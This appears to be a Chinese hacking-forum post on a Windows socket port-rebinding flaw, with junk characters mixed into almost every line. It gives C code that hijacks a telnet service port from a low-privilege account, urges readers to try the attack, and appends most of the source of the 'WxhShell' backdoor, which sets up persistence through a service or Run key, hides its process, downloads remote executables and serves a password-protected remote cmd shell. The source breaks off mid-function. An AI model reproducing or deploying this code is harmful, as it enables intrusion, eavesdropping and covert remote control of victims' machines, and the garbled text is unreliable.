在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\VNu35* J| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&
o5x 5 #K*75> saddr.sin_family = AF_INET;
M^o_='\bE SiLW[JXd saddr.sin_addr.s_addr = htonl(INADDR_ANY);
DiFYVR<@ p0Jr{hM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
. <"XE7 =nhY;pY3u 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"b} mVrFh 8s1nE_3 这意味着什么?意味着可以进行如下的攻击:
~L)~p%rbi ~3F'X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uuC ["Z =,6H2ew 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
MiT0!6Pg Ie.*x'b?y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AW]\n;f
D.K""*ula 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
SMEl'y ]`/>hH>+~9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%QezC+n k]~o=MLmj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}
oPO` qjB:6Jq4q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#-0e0 xyp{_ MZ #include
8xPt1Sotq[ #include
oac)na:O# #include
*N">93: #include
=;rLv7(a DWORD WINAPI ClientThread(LPVOID lpParam);
YM}a>o int main()
@/z\p7e {
0!hr9Y]Lx WORD wVersionRequested;
v(1 [n]y DWORD ret;
H;/do-W[ WSADATA wsaData;
>JpBX+]5m BOOL val;
im<bo Mv SOCKADDR_IN saddr;
v:t;Uk^Y SOCKADDR_IN scaddr;
*uc/| c int err;
JrzPDb`m SOCKET s;
$.PRav SOCKET sc;
A)f-r int caddsize;
,
>LJpv HANDLE mt;
dli(ckr DWORD tid;
[G<ga80 wVersionRequested = MAKEWORD( 2, 2 );
"q=Cye err = WSAStartup( wVersionRequested, &wsaData );
;4nY{)bD if ( err != 0 ) {
>y3FU1w5d printf("error!WSAStartup failed!\n");
R#T-o,m return -1;
p='j/= }
$}9jv3>) saddr.sin_family = AF_INET;
?doI6N0T YX$(Sc3.6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'+88UFSq5 $ev+0m_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{L-^J`> G saddr.sin_port = htons(23);
EXDDUqZ5\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>8f~2dH2% {
Ku(YTXtK printf("error!socket failed!\n");
h^Wb<O`S return -1;
GG%b"d- }
"#1 \ uoH val = TRUE;
2W,9HSu8 //SO_REUSEADDR选项就是可以实现端口重绑定的
orGMzC 2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/K:r4Kw {
}Fe6L;^; printf("error!setsockopt failed!\n");
)w7vE\n3 return -1;
w!F>fcm }
O_FB^BB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Nk'<*;e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4MgN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
OX_y"]utU +_5*4>MC if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^^a6 (b {
.5|[gBK ret=GetLastError();
,PeR}E;c printf("error!bind failed!\n");
~y<0Cc3Vs return -1;
thjr1y.e }
tOIqX0dWd listen(s,2);
on_h'?2 while(1)
r h*F {
Qi18q|l8v caddsize = sizeof(scaddr);
m<CrkKfpG //接受连接请求
f:>y'#P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}z`x-(V if(sc!=INVALID_SOCKET)
hb`9Vn\-E {
GwX)~.i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C QkY6 if(mt==NULL)
z?byNd8 {
irt9%w4" printf("Thread Creat Failed!\n");
L!}!k N:? break;
<ToS& }
$$9H1)Ny }
[JOa^U= CloseHandle(mt);
yGa0/o18!? }
#(^<qr closesocket(s);
|AYii-g WSACleanup();
*C_A(n5"V return 0;
mskG2mA }
K=gg <E< DWORD WINAPI ClientThread(LPVOID lpParam)
#C9f?fnM {
f_~T SOCKET ss = (SOCKET)lpParam;
dxeiN#(XT SOCKET sc;
,/f\ unsigned char buf[4096];
&g:( I SOCKADDR_IN saddr;
kWr1>})' long num;
h FU8iB`Q DWORD val;
}-3 VK% DWORD ret;
Ip
t;NlR //如果是隐藏端口应用的话,可以在此处加一些判断
1eI*.pt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j.=:S; saddr.sin_family = AF_INET;
9Yt|Wj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9UM)"I&k saddr.sin_port = htons(23);
H:.~!
r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v "l).G? {
u?,>yf.;s printf("error!socket failed!\n");
;Q{D]4 return -1;
a\P :jgF }
,DFN:uf=l val = 100;
J!C \R5\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
UC`h o%OBF {
KL$.E!d ret = GetLastError();
a%%7Ew ? return -1;
EyK!'9~a }
ZF7n]LgSc& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g QBS#NY {
T+Yv5l ret = GetLastError();
dz^HN`AlzC return -1;
}qWnn>h9xv }
cH_qHXi[G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+`d92T z {
,^9+G"H:I printf("error!socket connect failed!\n");
PzJ(Q closesocket(sc);
A7L; ims7 closesocket(ss);
[4"(\r\f return -1;
P^te }
f ,e]jw@ while(1)
/pF8S!,z {
d+DO}=] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@X/ 1`Mp //如果是嗅探内容的话,可以再此处进行内容分析和记录
}3lG'Y#Kpy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Uh/=HNR num = recv(ss,buf,4096,0);
1>*oN if(num>0)
bF _]j/ send(sc,buf,num,0);
^Gk)aX else if(num==0)
F_079~bJ break;
=z. hJu num = recv(sc,buf,4096,0);
aE0R{yup Z if(num>0)
|k}<Zz1UM send(ss,buf,num,0);
8g-u else if(num==0)
%n$f#Ml_r break;
%pVsafV }
"}()/ closesocket(ss);
[]>rYZ9bv closesocket(sc);
c/$].VG0 return 0 ;
q^xG%YdPz+ }
"M/c0`>C!i {IOc'W-C#2 -nGcm"'6F ==========================================================
4U dk# > TYDkEs0 下边附上一个代码,,WXhSHELL
|X@s {? vA6`};| ==========================================================
4b<|jVl\ ;!f='QuA #include "stdafx.h"
|uy@v6 WN]k+0# #include <stdio.h>
`)cI^! #include <string.h>
b36{vcs~ #include <windows.h>
2)IM<rf'^ #include <winsock2.h>
p&I>xu8fl #include <winsvc.h>
A.b^?k%I #include <urlmon.h>
)j2#5`?"j JWHsTnB #pragma comment (lib, "Ws2_32.lib")
#`y[75<n #pragma comment (lib, "urlmon.lib")
RQ=rB9~:ZN U*+-# #define MAX_USER 100 // 最大客户端连接数
18X?CoM~ #define BUF_SOCK 200 // sock buffer
^:/c<(DQD #define KEY_BUFF 255 // 输入 buffer
'`^~Zy?c .6MG#N #define REBOOT 0 // 重启
O.jm{x!m #define SHUTDOWN 1 // 关机
YT-ua{.^ ;MeY@*"{ #define DEF_PORT 5000 // 监听端口
g#(+:^3' 6wpW!SWD #define REG_LEN 16 // 注册表键长度
#~p;s> #define SVC_LEN 80 // NT服务名长度
k2Cq9kQ q XoD:gf
// 从dll定义API
>r`O@`^U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2#NnA3l]x% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yr'-;-u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Xc[ym typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
IhzY7U)}T #pZeGI|'J // wxhshell配置信息
_1)n_P4 struct WSCFG {
=x+1A)Q int ws_port; // 监听端口
YC;@ ^ char ws_passstr[REG_LEN]; // 口令
d>u^7: int ws_autoins; // 安装标记, 1=yes 0=no
&&CrF~
char ws_regname[REG_LEN]; // 注册表键名
_wXT9`|3 char ws_svcname[REG_LEN]; // 服务名
,q%X`F
rc char ws_svcdisp[SVC_LEN]; // 服务显示名
0WzoI2Q char ws_svcdesc[SVC_LEN]; // 服务描述信息
8b0j rt char ws_passmsg[SVC_LEN]; // 密码输入提示信息
L:C/PnIV int ws_downexe; // 下载执行标记, 1=yes 0=no
d"5_x]Z; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
IZrcn char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ch{6=k bK &n,v@
gt };
0`zdj Pfs_tu // default Wxhshell configuration
,R=!ts[qi struct WSCFG wscfg={DEF_PORT,
-W6@[5 c "xuhuanlingzhe",
B^9C}QB 1,
Sm[#L`eqW "Wxhshell",
> 3& "Wxhshell",
(}F@0WYT^O "WxhShell Service",
SN)Czi#7
"Wrsky Windows CmdShell Service",
GTOA>RB2 "Please Input Your Password: ",
N5)H(<} 1,
AAfhh5i "
http://www.wrsky.com/wxhshell.exe",
gK~Z Ch "Wxhshell.exe"
n3?P8m$ };
2Bi]t%<{ i-w<5pGnf // 消息定义模块
mvH}G8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
y~*B%KnEQy char *msg_ws_prompt="\n\r? for help\n\r#>";
^5MM<73 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Z:^<NdKe char *msg_ws_ext="\n\rExit.";
_3W .: char *msg_ws_end="\n\rQuit.";
EwcFxLa!F char *msg_ws_boot="\n\rReboot...";
8p829 char *msg_ws_poff="\n\rShutdown...";
NI"Zocp char *msg_ws_down="\n\rSave to ";
xj33g6S d_(;sW"I char *msg_ws_err="\n\rErr!";
<zY#qFQ2 char *msg_ws_ok="\n\rOK!";
R6X2d\l# 8m
H6?,@6 char ExeFile[MAX_PATH];
+Y*4/w[
int nUser = 0;
c|:EMYS HANDLE handles[MAX_USER];
aNM*=y` int OsIsNt;
y}FG5'5$13 xN$V(ZX4 SERVICE_STATUS serviceStatus;
V}vL[=QFZ( SERVICE_STATUS_HANDLE hServiceStatusHandle;
/Gnt.%y& {{gd}g // 函数声明
K8KN<Q s] int Install(void);
E9k%:&]vd int Uninstall(void);
|:SV=T: int DownloadFile(char *sURL, SOCKET wsh);
|Zn;O6c#L5 int Boot(int flag);
"1""1"; void HideProc(void);
e+#Oj int GetOsVer(void);
jCj8XM{c> int Wxhshell(SOCKET wsl);
>=rniHs=?7 void TalkWithClient(void *cs);
iuqJPW^} int CmdShell(SOCKET sock);
^xk4HF int StartFromService(void);
;s~xS*(C int StartWxhshell(LPSTR lpCmdLine);
D]d! lMK/ :9&@/{W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pHk$_t VOID WINAPI NTServiceHandler( DWORD fdwControl );
)(YJ6l Z
OAg7 // 数据结构和表定义
[
s/j?/9 SERVICE_TABLE_ENTRY DispatchTable[] =
&
:W6O)uY {
`r&Ui%fk;0 {wscfg.ws_svcname, NTServiceMain},
~eTp( XG {NULL, NULL}
)w}'kih };
S&=@Hj- qDg`4yX.} // 自我安装
T+0z.E!~I int Install(void)
y+wy<[u {
i`6utOq char svExeFile[MAX_PATH];
S\ZCZ0 HKEY key;
P5dD& strcpy(svExeFile,ExeFile);
ve a$G~[%6 XmO]^ ` // 如果是win9x系统,修改注册表设为自启动
,F!-17_vt if(!OsIsNt) {
~K)FuL[* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s%#u)nw19 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X,M!Tp RegCloseKey(key);
~D/Lo$K" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$0{h Uex RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}|-8-; RegCloseKey(key);
B~Z61 return 0;
3>5gh8!- }
J#w=Z>oz < }
V[^AV"V }
1mh7fZgn else {
k,OxGG C<QpUJ`k // 如果是NT以上系统,安装为系统服务
7!o#pt7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1A(f_ 0,.Q if (schSCManager!=0)
}>f%8O} {
(.z0.0W SC_HANDLE schService = CreateService
3?gfDJfE (
|J-tU)|1vl schSCManager,
$D^27q:H wscfg.ws_svcname,
_MQh<,Z8 wscfg.ws_svcdisp,
Z 5wDf+ SERVICE_ALL_ACCESS,
@d5t%V\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
BVv-1$ U^ SERVICE_AUTO_START,
b!QRD'31'j SERVICE_ERROR_NORMAL,
7
mA3&<&q svExeFile,
Rc@lGq9 NULL,
Z@JTZMN_ NULL,
%"E!E1_Sv NULL,
A[Ce3m NULL,
&RS)U72 NULL
ndBqXS );
:1UOT'_ if (schService!=0)
K^/.v<w {
$Zi{1w CloseServiceHandle(schService);
>Ir?)h CloseServiceHandle(schSCManager);
4;jAdWj3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+U1fa9NSn strcat(svExeFile,wscfg.ws_svcname);
e'v_eD T^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
/lHs]) , RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ev7A;; RegCloseKey(key);
Nb0T3\3W return 0;
fA V.Mj- }
VK%ExMSqEh }
Zic:d-Q47 CloseServiceHandle(schSCManager);
{poTA+i }
j9%vw.3b }
H?=[9?1wI5 L]X Lv9J0 return 1;
'w;J)_Yc2 }
/byF:iYI 'oBv(H // 自我卸载
Cb|R int Uninstall(void)
B( wi+; {
hR>`I0|p& HKEY key;
]'#^ ~. Y}\3PaUa if(!OsIsNt) {
527u d^: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*MWI`=c RegDeleteValue(key,wscfg.ws_regname);
{Z$]Rj RegCloseKey(key);
Tz(Dhb, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{v3@g[:| RegDeleteValue(key,wscfg.ws_regname);
MzW!iG RegCloseKey(key);
wC<FF2T return 0;
85H*Xm?d# }
zs-,Y@ZL }
poZ&S }
pL.~z else {
5tVg++I "LZv\c~v,% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3\B~`=*q/ if (schSCManager!=0)
=lh&oPc1 {
JS >"j d# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~W gO{@Mw if (schService!=0)
4tt=u]: {
4
$)}d if(DeleteService(schService)!=0) {
b Sg]FB aW CloseServiceHandle(schService);
&3 ~R-$P CloseServiceHandle(schSCManager);
(WGEX(| return 0;
n>lQ:l~ }
2ZxZ2?.uJ CloseServiceHandle(schService);
DY87NS*HF }
Ban"H~ CloseServiceHandle(schSCManager);
XOZ@ek)LY }
\7(OFT\u: }
)d5mZE!3
JkNRXC: return 1;
OH5#.${O }
!NhVPb, @jr$4pM? // 从指定url下载文件
2$ \#BG int DownloadFile(char *sURL, SOCKET wsh)
(bogAi3<F {
ZN;fDv HRESULT hr;
;Ac!"_N?7 char seps[]= "/";
zL+M-2hV char *token;
yA<\?Ps char *file;
I]~UOl char myURL[MAX_PATH];
7YU}-gi char myFILE[MAX_PATH];
Eo{js?1G_ Js,.$t strcpy(myURL,sURL);
`b5pa `\4 token=strtok(myURL,seps);
a3_pF~Qx while(token!=NULL)
G7HvA46 {
.!1E7\ file=token;
oPA m* token=strtok(NULL,seps);
s.!gsCQme }
VC NQ}h[D 3_Re>i GetCurrentDirectory(MAX_PATH,myFILE);
'p,54<e strcat(myFILE, "\\");
L3C'q strcat(myFILE, file);
sGJZG send(wsh,myFILE,strlen(myFILE),0);
)9rJ]D^B send(wsh,"...",3,0);
DM !B@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
["Jt2 if(hr==S_OK)
A@ G%*\UZ return 0;
^<e(3S: else
~,84E [VV return 1;
GplEad
$ dMH}%f5;1 }
]*AQT7PH !2g*=oY // 系统电源模块
-sk!XWW+ int Boot(int flag)
#Ic-?2Gn4< {
~w$ ^`e!] HANDLE hToken;
TC._kAm TOKEN_PRIVILEGES tkp;
;[j)g,7{ ]A:G>K if(OsIsNt) {
5SHZRF(. 2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5q.)K
f+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
E"Y[k8-:2/ tkp.PrivilegeCount = 1;
Ivc/g, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
sMWNzt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
y)+lU if(flag==REBOOT) {
-IG@v0_w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H*EN199 return 0;
c0:`+>p2 }
,y*|f0&"~ else {
$[*<e~? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
DqBiBH[%h return 0;
mp>Ne6\Tu }
CF@j]I@{
}
8}!WJ2[R else {
hdH}4W if(flag==REBOOT) {
Fpy-?U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*Ag,/Cm] return 0;
l>jNBxB|/A }
-f8iq[F5 else {
V5HK6- T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
' u4TI=[6 return 0;
.d%CD`8! }
sb*)K,U }
=E-V-?N\ ]9NA3U7F return 1;
6n$g73u<=3 }
Z {*<Gx ?hnxc0~P // win9x进程隐藏模块
:PDyc(s{ void HideProc(void)
xU;;@9X {
IpI|G!Y, Ya-kMUW HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
I=9sTR) if ( hKernel != NULL )
9g`o+U{ {
jB%aHUF; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-1tiy.^$F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L+2<J,
FreeLibrary(hKernel);
Ex$i8fO( }
o)
,1R: $~<]G)*Z return;
'/QS
sZR }
NuC+iC$_/ {:c5/
,7c; // 获取操作系统版本
BBlYy5x int GetOsVer(void)
me&'BQ {
{Z(kzJwN OSVERSIONINFO winfo;
tsN,yI]-VA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vAjvW&'g GetVersionEx(&winfo);
(E]q>'X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~~X-$rtU return 1;
i5jsM\1j else
[^2c9K^NK return 0;
0hM!#BU5K }
R>n=_C ($r-&]y // 客户端句柄模块
$irF int Wxhshell(SOCKET wsl)
m>ApN@n {
gX!-s*{E SOCKET wsh;
\d}>@@U& struct sockaddr_in client;
.h[yw$z6 DWORD myID;
Vo8gLX]a NNP ut$. while(nUser<MAX_USER)
/K\]zPq {
EK$3T5e int nSize=sizeof(client);
nv/'C=+L wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)@[##F2 if(wsh==INVALID_SOCKET) return 1;
?_nbaFQK3 :SvgXMY@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z6;6 o!ej if(handles[nUser]==0)
^n&_JQIXb closesocket(wsh);
B'8/`0^n5 else
5l4YYwd>v nUser++;
jPa"|9A }
V3<H8pL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
CWw#0 r: M>/Z/ return 0;
2nkymEPu
}
$u
P'> 85Red~-M // 关闭 socket
XsbYWJdds void CloseIt(SOCKET wsh)
`A ^ {
ME.a * v closesocket(wsh);
6,a:s:$>}R nUser--;
;Bwg'ThT ExitThread(0);
6tF_u D }
m< Y I} Z]qbLxJV // 客户端请求句柄
FE,BvNBZ void TalkWithClient(void *cs)
kmT5g gy {
Dbl+izF3 pq$-s7# SOCKET wsh=(SOCKET)cs;
2rPmu char pwd[SVC_LEN];
H<Ik.]m
char cmd[KEY_BUFF];
M)1Y7?r] char chr[1];
~EtwX YkRZ int i,j;
x>$e* ]+A%37 while (nUser < MAX_USER) {
7-# #Ic)]0L if(wscfg.ws_passstr) {
+o-jMvK9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
???` BF[| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+^|_vq^XR //ZeroMemory(pwd,KEY_BUFF);
Lv
UQ&NmY i=0;
IRyZ0$r:e\ while(i<SVC_LEN) {
"."ow| xtO#reL"q? // 设置超时
}\0ei(%H fd_set FdRead;
g+A>Bl3# struct timeval TimeOut;
O+OUcMa, FD_ZERO(&FdRead);
ACOn}yH FD_SET(wsh,&FdRead);
YpI|=mv TimeOut.tv_sec=8;
v6P2v TimeOut.tv_usec=0;
f9D01R fo int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=~_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`br$kB U*4r<y9R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
sm"s2Ci=} pwd
=chr[0]; ,0a\Ka{^
if(chr[0]==0xd || chr[0]==0xa) { ( 4(,"
pwd=0; 7!Qu+R
break; Z0%:j\W4c
} 4i7+'F
i++; 49.B!DqQW&
} %X|u({(zb
1]69S(
// 如果是非法用户,关闭 socket Kf1NMin7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +\]Gu(z<
} )M><09
7YFEyX10d
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \{v e6`7Rn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #MFIsx)r
=;"=o5g_
while(1) { lhC hk7l
PdtL
Cgd
ZeroMemory(cmd,KEY_BUFF); -}_1f[b
$C{,`{=
// 自动支持客户端 telnet标准 _ee<i8_Va
j=0; y*%uGG5
while(j<KEY_BUFF) { Wh)!Ha}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |'-%d^Z
cmd[j]=chr[0]; R.!.7dO
if(chr[0]==0xa || chr[0]==0xd) { %Ai' 6
cmd[j]=0; Ej8g/{
break; _\na9T~g
} F?^L^N^
j++; $*|M+ofQ
} cj9C6Y!
m!5Edo-;<
// 下载文件 u}b%-:-
if(strstr(cmd,"http://")) { gxx#<=`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Qs%bq{t
if(DownloadFile(cmd,wsh)) 1YK(oRSDn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5!dO\-[
else (9R;-3vY:S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gk]ZP31u
} YjH~8= =
else { >,[@SF%
q=}1ud}1
switch(cmd[0]) { Xv3pKf-K
TJ1h[
// 帮助 Wy%FF\D.Y
case '?': { 6$[7hlE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U*b7 Pxq;
break; zz
/4 ()u
} 3)yL#hXg)
// 安装 xHMFYt+0$G
case 'i': { |kP utB
if(Install()) SL-;h#-y
4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PD&gC88
else hH HQmK<r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); axpZ`BUc
break; 9:P]{}
} wZs 2aa
// 卸载 qV6WT&)T
case 'r': { hJsP;y:@Lm
if(Uninstall()) [dAQrou6P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QFMAy>Gdn
else =3 Vug2*wd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YZ`SF"Bd(
break; tj$[szo
} :AS`1\ C
// 显示 wxhshell 所在路径 K8R>O *~
case 'p': { -Caj>K
char svExeFile[MAX_PATH]; JQ6M,O
strcpy(svExeFile,"\n\r"); hGkJ$QT
strcat(svExeFile,ExeFile); 7B)1U_L0H
send(wsh,svExeFile,strlen(svExeFile),0); 5VJe6i9;
break; =J4|"z:
} 1X&.po
// 重启 fbU3-L?
case 'b': { lLDZ#'&An
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ] |nW
if(Boot(REBOOT)) R3;%eyu
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
lPI~5N8
else { JJM<ywPGp
closesocket(wsh); B0%=! &
ExitThread(0); 9h?'zyX
B
} f:-l}Zj
break; S>r",S
} >=|p30\b
// 关机 ;0Pv49q
case 'd': { nQoQNB
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J|].h
if(Boot(SHUTDOWN)) ?*%_:fB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (
*Xn"o
else { (6Od
closesocket(wsh); fum.G{}
ExitThread(0); P.qzP/Ny
} y?3.W
break; ]jFl?LA%7
} EG;E !0
// 获取shell 8'HS$J;C
case 's': { {eV8h}KIl
CmdShell(wsh); `/ayg:WSU
closesocket(wsh); P/girce0
ExitThread(0); 0'fswa)
break; XS">`9o!
} kJp~'\b
// 退出 Ff%V1BH[
case 'x': { -X~mW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cf3!Ud
CloseIt(wsh); qS2Nk.e]o
break; i*Ldec^
} k%sH0 9
// 离开 2h'Wu
qO
case 'q': { BUJ\[/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); `}$o<CJ
closesocket(wsh); %KXiB6<4
WSACleanup(); |7tD&9<
exit(1); =I'3C']Z W
break; o[T+/Ej&
} !6T"J!F#
} R2gV(L(!!
} PmRvjSIG
J+J,W5t^
// 提示信息 yGf7k>K'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]mb8R:a1
} U8w_C\Q
} E5d$n*A
*q*3SP/
return; $Sgf jm
} +t+<?M B
:q]9F4im
// shell模块句柄 r8Mx+r
int CmdShell(SOCKET sock) fq]PKLW'
{ RhH1nf2UR
STARTUPINFO si; |zYOCDFf
ZeroMemory(&si,sizeof(si)); o)/Pr7Qn
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4=xi)qF/@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kkF)Tro\
PROCESS_INFORMATION ProcessInfo; <4"-tYa
char cmdline[]="cmd"; La;G S
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Aw |;C
return 0; }OL"38P
} `t&{^ a&Y"
@#)` -]g
// 自身启动模式 "y,YC M`
int StartFromService(void) Xq*^6*E-}
{ /Hyz]46
typedef struct ^Tm`motzh
{ Ki\.w~Qs
DWORD ExitStatus; *h!fqT%9
DWORD PebBaseAddress; _U<fS
